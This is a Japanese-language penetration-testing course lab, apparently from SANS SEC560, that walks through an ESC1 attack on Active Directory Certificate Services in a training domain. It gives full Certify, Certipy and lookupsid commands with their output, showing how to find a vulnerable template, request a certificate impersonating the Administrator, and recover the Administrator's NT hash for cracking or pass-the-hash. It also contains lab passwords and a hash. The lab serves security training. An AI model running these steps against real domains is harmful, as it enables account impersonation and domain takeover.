Lab 5.5: ESC1を使用したActive Directory証明書サービス(AD CS)の攻撃
オンライン演習
接続: この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります
目的
- CertifyとCertipyを使用してドメインCAの脆弱なテンプレートを検索する
- Certipyを使用して脆弱なテンプレートを悪用する
- 新しく生成された証明書を使用してユーザーのNTハッシュを復元する
ウォークスルービデオ
ラボのセットアップ
使用するVM:
- Linux
- Windows 11
ラボ - ステップバイステップの手順
1: 準備
VPNに接続しています。VPNにDNSを制御させることもできますが、多くの場合それは望ましくありません。もしそうした場合、ターゲット組織は私たちが何を照会しているかをすべて知ることになり、これは避けたいことかもしれません。また、DNSフィルタリングやアラートが設定されている可能性があります。余分なログを避けたいですし、アラートは確実に避けたいところです。
Windowsシステムを設定して、hiboxy.com
に対してのみDNSサーバーを使用するようにする必要があります。これを行うには、管理者権限でPowerShellターミナルを起動する必要があります。デスクトップにある*Terminal*というタイトルのリンクを開きます。
それでは、hiboxy.comに対してのみ10.130.10.4に照会するようにDNSを設定しましょう。なお、このコマンドは出力を生成しません。
コマンド
Add-DnsClientNrptRule -Namespace "hiboxy.com" -NameServers 10.130.10.4
参考として、Linuxでは以下のコマンドを使用できますが、ネットワーク(/etc/systemd/network/sec560-lab.network
)を追加することですでにシステムを事前設定しています。
以下のコマンドは実行しないでください!これらは、今後の自分の環境でのみ参考にするためのものです。
コマンド
sudo resolvectl dns tun0 10.130.10.4
sudo resolvectl domain tun0 hiboxy.com
このラボでは、10.130.10.7にある証明書サーバー(CA01)を攻撃します。コンピューターはhiboxy.comドメインに参加していないため、Certifyには代替の資格情報を指定する方法がないので、コマンドラインをhiboxy\bgreen
として実行する必要があります。
runas
を使用して、breenとしてpowershell.exeを起動しましょう。/user:domain\username
でユーザーを指定する必要があります。また、/netonly
オプションも使用します。このオプションはリモート接続専用で、bgreenは私たちのWindows VMに対する権限を持っていないためです。
コマンド
runas /user:hiboxy.com\bgreen /netonly powershell.exe
プロンプトが表示されたら、パスワードPassword1
を入力します。
想定される結果
PS C:\Users\sec560> runas /user:hiboxy.com\bgreen /netonly powershell.exe
Enter the password for hiboxy.com\bgreen:
Attempting to start powershell.exe as user "hiboxy.com\bgreen" ...
2: 初期クエリ
すべてのCAとテンプレートをリストアップしましょう。新しいPowerShellウィンドウで、すべてのCAとテンプレートをリストアップするクエリを実行します。このコンピューターはドメインに参加していないため、/domain:hiboxy.com
オプションを含める必要があります。侵害されたドメイン参加ホストでコマンドを実行する場合、このオプションは必要ありません。
コマンド
Certify.exe cas /domain:hiboxy.com
想定される結果
PS C:\WINDOWS\system32> Certify.exe cas /domain:hiboxy.com
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Find certificate authorities
[*] Using the search base 'CN=Configuration,DC=hiboxy,DC=com'
[*] Root CAs
Cert SubjectName : CN=hiboxy-CA01-CA, DC=hiboxy, DC=com
Cert Thumbprint : 3B27C98EE50348DF3121B24919DC864A9B336912
Cert Serial : 6D21D05AA03DCC804840D866F15B02CB
Cert Start Date : 9/11/2024 4:22:59 PM
Cert End Date : 9/11/2029 4:32:58 PM
Cert Chain : CN=hiboxy-CA01-CA,DC=hiboxy,DC=com
...trimmed for brevity...
出力をより詳しく見てみましょう。まず、ルート証明機関(CA)のリストがあります。
[*] Root CAs
Cert SubjectName : CN=hiboxy-CA01-CA, DC=hiboxy, DC=com
Cert Thumbprint : 3B27C98EE50348DF3121B24919DC864A9B336912
Cert Serial : 6D21D05AA03DCC804840D866F15B02CB
Cert Start Date : 9/11/2024 4:22:59 PM
Cert End Date : 9/11/2029 4:32:58 PM
Cert Chain : CN=hiboxy-CA01-CA,DC=hiboxy,DC=com
CA証明書の名前がhiboxy-CA01-CA
であることがわかります。シリアル番号、サムプリント、および日付は、サーバーと証明書が毎週再構築されるため、上記に示されているものとは異なります。
Cert Chain
にはhiboxy-CA01-CA
証明書のみが含まれていることに注意してください。ルート証明書は自己署名されており、下位の証明書を信頼するためには明示的に信頼される必要があります。オペレーティングシステムとブラウザーには、DigiCertなどの信頼されたルート証明機関の事前承認されたリストが付属しています。ドメインCAの場合、この信頼は通常、グループポリシーで設定され、すべてのドメインホストがドメインCAを信頼するように構成されます。
Enterprise/Enrollment CAs
リストを見てみましょう。
[*] Enterprise/Enrollment CAs:
Enterprise CA Name : hiboxy-CA01-CA
DNS Hostname : ca01.hiboxy.com
FullName : ca01.hiboxy.com\hiboxy-CA01-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=hiboxy-CA01-CA, DC=hiboxy, DC=com
Cert Thumbprint : 3B27C98EE50348DF3121B24919DC864A9B336912
Cert Serial : 6D21D05AA03DCC804840D866F15B02CB
Cert Start Date : 9/11/2024 4:22:59 PM
Cert End Date : 9/11/2029 4:32:58 PM
Cert Chain : CN=hiboxy-CA01-CA,DC=hiboxy,DC=com
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates <UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-512
Allow ManageCA, ManageCertificates <UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-519
Enrollment Agent Restrictions : None
Enabled Certificate Templates:
UserAuthenticationCertificate
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
Allow Enroll
に言及している行に注目してください。
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
これにより、すべてのユーザーが証明書を登録できます。これは安全な設定ではありませんが、残念ながら比較的一般的な設定です。
3: 脆弱なテンプレートの特定
以下のコマンドでCertifyを使用して脆弱なテンプレートを特定します:
コマンド
Certify.exe find /vulnerable /domain:hiboxy.com
想定される結果
PS C:\WINDOWS\system32> Certify.exe find /vulnerable /domain:hiboxy.com
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=hiboxy,DC=com'
[*] Listing info about the Enterprise CA 'hiboxy-CA01-CA'
Enterprise CA Name : hiboxy-CA01-CA
DNS Hostname : ca01.hiboxy.com
FullName : ca01.hiboxy.com\hiboxy-CA01-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=hiboxy-CA01-CA, DC=hiboxy, DC=com
Cert Thumbprint : 3B27C98EE50348DF3121B24919DC864A9B336912
Cert Serial : 6D21D05AA03DCC804840D866F15B02CB
Cert Start Date : 9/11/2024 4:22:59 PM
Cert End Date : 9/11/2029 4:32:58 PM
Cert Chain : CN=hiboxy-CA01-CA,DC=hiboxy,DC=com
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates <UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-512
Allow ManageCA, ManageCertificates <UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-519
Enrollment Agent Restrictions : None
[!] Vulnerable Certificates Templates :
CA Name : ca01.hiboxy.com\hiboxy-CA01-CA
Template Name : UserAuthenticationCertificate
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : <UNKNOWN> S-1-5-21-1435937579-2290054825-716303961-519
<UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-512
<UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-513
Object Control Permissions
Owner : <UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-519
WriteOwner Principals : <UNKNOWN> S-1-5-21-1435937579-2290054825-716303961-1113
<UNKNOWN> S-1-5-21-1435937579-2290054825-716303961-519
<UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-512
WriteDacl Principals : <UNKNOWN> S-1-5-21-1435937579-2290054825-716303961-1113
<UNKNOWN> S-1-5-21-1435937579-2290054825-716303961-519
<UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-512
WriteProperty Principals : <UNKNOWN> S-1-5-21-1435937579-2290054825-716303961-1113
<UNKNOWN> S-1-5-21-1435937579-2290054825-716303961-519
<UNKNOWN> S-1-5-21-3338620771-1880071138-2935716604-512
Certify completed in 00:00:03.5484095
ツールは、UserAuthenticationCertificate
テンプレートがmsPKI-Certificate-Name-Flag
属性にENROLLEE_SUPPLIES_SUBJECT
を含むことを特定しました。これは、ESC1の登録者が提供するサブジェクト(subjectAltName
、略してSAN
)コンポーネントです。この設定により、証明書リクエスターは、ドメイン管理者ユーザーを含む、ドメイン内の任意のユーザーの証明書をリクエストできます。緩和策がなければ、この設定により完全なドメイン乗っ取りが可能になります。ドメイン管理者に設定されたSANを持つ証明書署名要求(CSR)を緩和策が防止するドメインでは、この構成は他のドメインユーザーになりすますために悪用される可能性があります。関連部分を以下に示します:
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
拡張キー使用法(EKU)も、行のこの部分に示されているように認証を許可しています:
pkiextendedkeyusage : Client Authentication
権限はドメインユーザー用です。私たちの場合、実際にはドメインに参加していないため、完全なグループ名が表示されず、<UNKNOWN>
として表示されます。513
は常にDomain Users
グループです。関連する行を以下に示します:
Enrollment Permissions
Enrollment Rights : <UNKNOWN> S-1-5-21-1435937579-2290054825-716303961-519
<UNKNOWN> S-1-5-21-804912607-507672161-4202880709-512
<UNKNOWN> S-1-5-21-804912607-507672161-4202880709-513
この構成により、ドメイン内の認証されたすべてのユーザーが、ドメイン内の任意のユーザーの証明書をリクエストできます。このテンプレートにDomain Usersが含まれていない場合でも、Enrollment Rightsセクションで他の非特権ユーザーグループが定義されていれば、悪用可能な場合があります。その場合、この脆弱性を悪用するには、指定されたグループのユーザーアカウントの制御が必要になります。
これらすべての問題が、AD CS ESC1脆弱性につながります!
runas
を使用しているため、次のステップは機能しません。以下のコマンドは、証明書をリクエストするために使用するものです。
コマンド
このコマンドは実行しないでください。機能しません!
Certify.exe request /ca:hiboxy.com\CA01 /onbehalfof:hiboxy.com\bgreen /template:UserAuthenticationCertificate /altname:Administrator /domain:hiboxy.com
別のツール、certify
のPython実装であるcertipy
を試してみましょう!
4: Certipyでのfindの実行
この後の手順では、Linux VMに切り替えます。
Linux VMでターミナルを開き、以下に示すようにCertipyコマンドを実行して、脆弱なCAとテンプレートのリストを取得します:
コマンド
certipy find -u bgreen@hiboxy.com -password Password1 -dc-ip 10.130.10.4
想定される結果
sec560@560vm:~$ certipy find -u bgreen@hiboxy.com -password Password1 -dc-ip 10.130.10.4
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'hiboxy-CA01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'hiboxy-CA01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'hiboxy-CA01-CA' via RRP
[*] Got CA configuration for 'hiboxy-CA01-CA'
[!] Failed to lookup user with SID 'S-1-5-21-1435937579-2290054825-716303961-519'
[!] Failed to lookup user with SID 'S-1-5-21-1435937579-2290054825-716303961-1113'
[*] Saved BloodHound data to '20240912233934_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20240912233934_Certipy.txt'
[*] Saved JSON output to '20240912233934_Certipy.json'
ツールは、出力を含む.txtファイルと.jsonファイルを作成します。必要に応じて.jsonファイルを見ることができますが、非常に長いため、ここには示されていません。
すでに脆弱であることがわかっているテンプレートUserAuthenticationCertificate
を見てみましょう。grep
を使用して文字列UserAuthenticationCertificate
を検索し、その後の19行を-A 19
オプションを使用して表示します(-A
はマッチの*後*に表示する行数を意味し、対応する-B
はマッチの*前*に表示する行数を意味します)。
コマンド
cat *_Certipy.txt | grep -A 19 UserAuthenticationCertificate
想定される結果
sec560@560vm:~$ cat *_Certipy.txt | grep -A 19 UserAuthenticationCertificate
Template Name : UserAuthenticationCertificate
Display Name : UserAuthenticationCertificate
Certificate Authorities : hiboxy-CA01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
上記の出力から興味深い行を見てみましょう。
Client Authentication : True
上記の行により、ユーザーはこのテンプレートからの証明書を使用して認証できます。
Enrollee Supplies Subject : True
上記の行により、登録者(攻撃者である私たち)がサブジェクト名を指定できます。
Requires Manager Approval : False
上記の行は、このテンプレートを使用するために追加の承認が必要ないことを示しています。
Authorized Signatures Required : 0
上記の行は、このテンプレートを使用するために追加の署名が必要ないことを示しています。
このテンプレートについてさらに詳しい情報を見てみましょう。同じコマンドをもう一度実行しますが、今回はテンプレート名の後の38行を見てみましょう。
コマンド
cat *_Certipy.txt | grep -A 38 UserAuthenticationCertificate
想定される結果
sec560@slingshot:~$ cat *_Certipy.txt | grep -A 38 UserAuthenticationCertificate
... trimmed for brevity...
Permissions
Enrollment Permissions
Enrollment Rights : S-1-5-21-1435937579-2290054825-716303961-519
HIBOXY.COM\Domain Admins
HIBOXY.COM\Domain Users
Object Control Permissions
Owner : HIBOXY.COM\Enterprise Admins
Write Owner Principals : S-1-5-21-1435937579-2290054825-716303961-519
HIBOXY.COM\Domain Admins
S-1-5-21-1435937579-2290054825-716303961-1113
Write Dacl Principals : S-1-5-21-1435937579-2290054825-716303961-519
HIBOXY.COM\Domain Admins
S-1-5-21-1435937579-2290054825-716303961-1113
Write Property Principals : S-1-5-21-1435937579-2290054825-716303961-519
HIBOXY.COM\Domain Admins
S-1-5-21-1435937579-2290054825-716303961-1113
[!] Vulnerabilities
ESC1 : 'HIBOXY.COM\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
HIBOXY.COM\Domain Users
がEnrollment Permissions
を持っており、ツールが脆弱なテンプレートを検出したことがわかります。
ツールは、多くのアカウントとグループに対して適切なグループ名も提供していることに注意してください。
5: Certipyを使用した証明書のリクエスト
次のステップを完了するには、CAサーバーの名前が必要です。すでに気付いているかもしれませんが、前のコマンドの出力を検索して見つけてみましょう。
コマンド
grep "CA Name" *_Certipy.txt
想定される結果
sec560@560vm:~$ grep "CA Name" *_Certipy.txt
CA Name : hiboxy-CA01-CA
CAの名前がhiboxy-CA01-CA
であることがわかります。
最新のAD:CSサーバー(Windows Server 2022 2025年2月時点以降)に対して実行する際には、なりすますユーザーの完全なセキュリティID(SID)を指定する-sid
オプションがもう1つ必要です。以下のようにlookupsid
コマンドを使用して、Administrator
アカウントのSIDを見つけることができます:
コマンド
lookupsid.py hiboxy/bgreen:Password1@10.130.10.4 500
export sid=$(lookupsid.py hiboxy/bgreen:Password1@10.130.10.4 500 | grep 'Domain SID is:' | cut -d' ' -f5)
想定される結果
[*] Brute forcing SIDs at 10.130.10.4
[*] StringBinding ncacn_np:10.130.10.4[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-258251867-3521816055-2073880971
498: HIBOXY\Enterprise Read-only Domain Controllers (SidTypeGroup)
sec560@560vm:~$ export sid=$(lookupsid.py hiboxy/bgreen:Password1@10.130.10.4 500 | grep 'Domain SID is:' | cut -d' ' -f5)
それでは、以下のオプションを使用して証明書をリクエストしましょう:
req
- 証明書をリクエストするコマンド-username bgreen@hiboxy.com
- 認証に使用するユーザー-password Password1
- 上記ユーザーのパスワード-ca hiboxy-CA01-CA
- CAの名前-template UserAuthenticationCertificate
- 脆弱なテンプレートの名前-upn administrator@hiboxy.com
- なりすますユーザー-sid "${sid}-500"
- なりすますユーザーのSID(この場合、Administratorで、よく知られたSIDサフィックス500を持つ)-target ca01.hiboxy.com
- CAサーバーのFQDN
コマンドを実行しましょう:
コマンド
certipy req -username bgreen@hiboxy.com -password Password1 -ca hiboxy-CA01-CA -template UserAuthenticationCertificate -upn administrator@hiboxy.com -sid "${sid}-500" -target ca01.hiboxy.com
想定される結果
sec560@560vm:~$ certipy req -username bgreen@hiboxy.com -password Password1 -ca hiboxy-CA01-CA -template UserAuthenticationCertificate -upn administrator@hiboxy.com -sid "${sid}-500" -target ca01.hiboxy.com
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with UPN 'administrator@hiboxy.com'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Administrator
ユーザーの証明書はadministrator.pfx
に保存されます。
6: 復元された証明書を使用したNTハッシュの復元
証明書を使用して、Administratorアカウントとして任意のサービスに認証できるようになりました。証明書を使用して、AdministratorアカウントのNTハッシュを取得しましょう。
コマンド
certipy auth -pfx administrator.pfx
想定される結果
sec560@560vm:~$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@hiboxy.com
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@hiboxy.com': aad3b435b51404eeaad3b435b51404ee:2e920723943f81ec0af0fd735f737fef
出力の最後の行には、ユーザーのパスワードハッシュが含まれています。このハッシュをクラックするか、pass-the-hashで使用できます!
Saved credential cache to 'administrator.ccache'
と表示されている行に注目してください。これは、AdministratorアカウントのTGT(Ticket Granting Ticket)を受信したことを意味します。このTGTを使用して、Kerberos経由でさまざまなサービスに認証し、さらに楽しむことができます!
まとめ
このラボ演習では、2つの異なるツールを使用して、安全でないAD CSテンプレートを特定しました。次に、この脆弱性を悪用して、AdministratorアカウントのsubjectAltName
(SAN)を持つbgreen
の証明書を取得しました。この方法を使用して、Administratorアカウントだけでなく、任意のユーザーの証明書を取得できます。最後に、証明書を使用してユーザーのパスワードハッシュを取得しました。これは、クラックするか、強力なpass-the-hash攻撃で使用できます。